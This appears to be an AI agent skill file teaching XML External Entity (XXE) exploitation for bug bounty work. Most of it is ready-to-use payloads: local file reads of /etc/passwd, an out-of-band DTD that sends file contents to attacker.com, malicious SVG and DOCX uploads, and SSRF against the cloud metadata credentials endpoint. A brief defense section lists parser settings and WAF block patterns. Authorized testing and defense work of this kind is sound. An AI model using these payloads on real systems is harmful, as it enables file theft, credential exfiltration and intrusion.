Xxe Xml External Entity Injection

---
name: xxe-xml-external-entity-injection
description: >
  Exploit XML External Entity (XXE) vulnerabilities in web applications to read arbitrary files,
  perform SSRF, or execute denial of service attacks. Use this skill when the server parses XML
  input from the user (such as SAML, SOAP, DOCX, or direct XML payloads).
domain: cybersecurity
subdomain: bug-hunting
category: Web Vulnerabilities
difficulty: advanced
estimated_time: "2-4 hours"
mitre_attack:
  tactics: [TA0001, TA0004, TA0040]
  techniques: [T1190, T1083, T1498]
platforms: [linux, windows]
tags: [xxe, xml, ssrf, arbitrary-file-read, bug-hunting, web-vulnerabilities]
tools: [burpsuite, python]
version: "1.0"
author: CyberSkills-Elite
license: Apache-2.0
---

# XML External Entity (XXE) Injection

## When to Use
- When the application accepts XML input (e.g., `Content-Type: application/xml` or `text/xml`).
- When uploading XML-based files (DOCX, XLSX, SVG, PDF).
- When altering JSON payloads to XML to see if the server processes it (Content-Type Smuggling).
- To read sensitive local files (e.g., `/etc/passwd`, `C:\Windows\win.ini`).
- To escalate into Server-Side Request Forgery (SSRF) using the XML parser to fetch internal URLs.


## Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration

## Workflow

### Phase 1: Input Detection & Content-Type Fuzzing

```http
# Concept: Check if the application natively accepts XML. If it accepts JSON, try
# changing the Content-Type to application/xml and sending equivalent XML.

# Original JSON Request:
POST /api/authenticate HTTP/1.1
Content-Type: application/json
{"username": "admin"}

# Modified XML Request:
POST /api/authenticate HTTP/1.1
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<username>admin</username>
```

### Phase 2: Inband XXE (Direct File Read)

```xml
# Concept: Define an external entity that points to a local file, and reference it 
# inside a parameter that gets reflected back in the HTTP response.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
    <productId>&xxe;</productId>
</stockCheck>

# Expected Output: The response contains the contents of /etc/passwd instead of the productId.
```

### Phase 3: Out-of-Band (OOB) / Blind XXE

```xml
# Concept: If the application does NOT reflect the entity's value in the response,
# force the XML parser to send the file contents to your external server via HTTP/DNS.

# 1. Host a malicious DTD (Document Type Definition) on your server (http://attacker.com/evil.dtd):
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfiltrate;

# 2. Send the exploit payload triggering the remote DTD:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
<stockCheck><productId>1</productId></stockCheck>

# 3. Monitor your web server logs. You should see a request like:
# GET /?data=WIN-SERVER-01 HTTP/1.1
```

### Phase 4: XXE via File Uploads (SVG / DOCX)

```xml
# Concept: Modern file formats like SVG (images) and DOCX/XLSX (Office documents)
# are essentially ZIP-compressed XML files.

# SVG Image XXE Payload:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
# Upload this as avatar.svg. When the server tries to process or rasterize the image, it parses the XXE.

# DOCX XXE:
# 1. Unzip legitimate.docx
# 2. Edit word/document.xml to include the XXE payload.
# 3. Zip back into malicious.docx and upload.
```

### Phase 5: XXE to SSRF

```xml
# Concept: Use the SYSTEM entity to force the XML parser to make HTTP requests
# to internal metadata endpoints or administration panels.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]>
<stockCheck>
    <productId>&xxe;</productId>
</stockCheck>
```

#### Decision Point 🔀
```mermaid
flowchart TD
    A[Submit XXE Payload] --> B{Does response contain data?}
    B -->|Yes| C[Inband XXE -> Exfiltrate Files]
    B -->|No| D{Does server ping Burp Collaborator?}
    D -->|Yes| E[Blind OOB XXE -> Host malicious.dtd]
    D -->|No| F[Try Error-Based XXE or SVG/DOCX forms]
```


## 🔵 Blue Team Detection & Defense
- **Disable External Entities**: The definitive fix is configuring the XML parser to explicitly disallow external entities and DTDs. 
  - Python (lxml): `XMLParser(resolve_entities=False)`
  - Java: `factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);`
- **WAF Rules**: Block inbound requests containing `<!ENTITY` or `SYSTEM "file://`.
- **Content-Type Validation**: Enforce strict matching on Content-Type headers. Do not blindly parse JSON requests as XML just because the header was modified.

## Key Concepts
| Concept | Description |
|---------|-------------|
| XXE | XML External Entity; an attack against an application that parses XML input containing a reference to an external entity |
| DTD | Document Type Definition; defines the structure and the legal elements and attributes of an XML document |
| OOB | Out-Of-Band; stealing data via alternative channels (like DNS or outbound HTTP) when the direct response is masked |

## Output Format
```
Bug Bounty Report: XXE leading to Local File Read
=================================================
Vulnerability: XML External Entity (XXE) Injection
Severity: High (CVSS 8.6)
Target: POST /api/soap/billing

Description:
The SOAP API endpoint implements an insecure XML parser that processes external DTD declarations. By injecting a malicious external entity, an attacker can coerce the backend server into reading arbitrary local files and reflecting their contents in the HTTP response.

Reproduction Steps:
1. Intercept the checkout request to `/api/soap/billing`.
2. Modify the XML payload to include standard entity declarations:
   `<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>`
3. Place `&xxe;` within the `<customer_id>` node.
4. Send the request.

Impact:
Full disclosure of local server configuration, source code, and potential escalation to internal network scanning (SSRF) or remote code execution via PHP expect wrapper.
```


## 📚 Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

## References
- OWASP: [XML External Entity (XXE) Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)
- PortSwigger: [XXE Injection](https://portswigger.net/web-security/xxe)
- PayloadAllTheThings: [XXE Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection)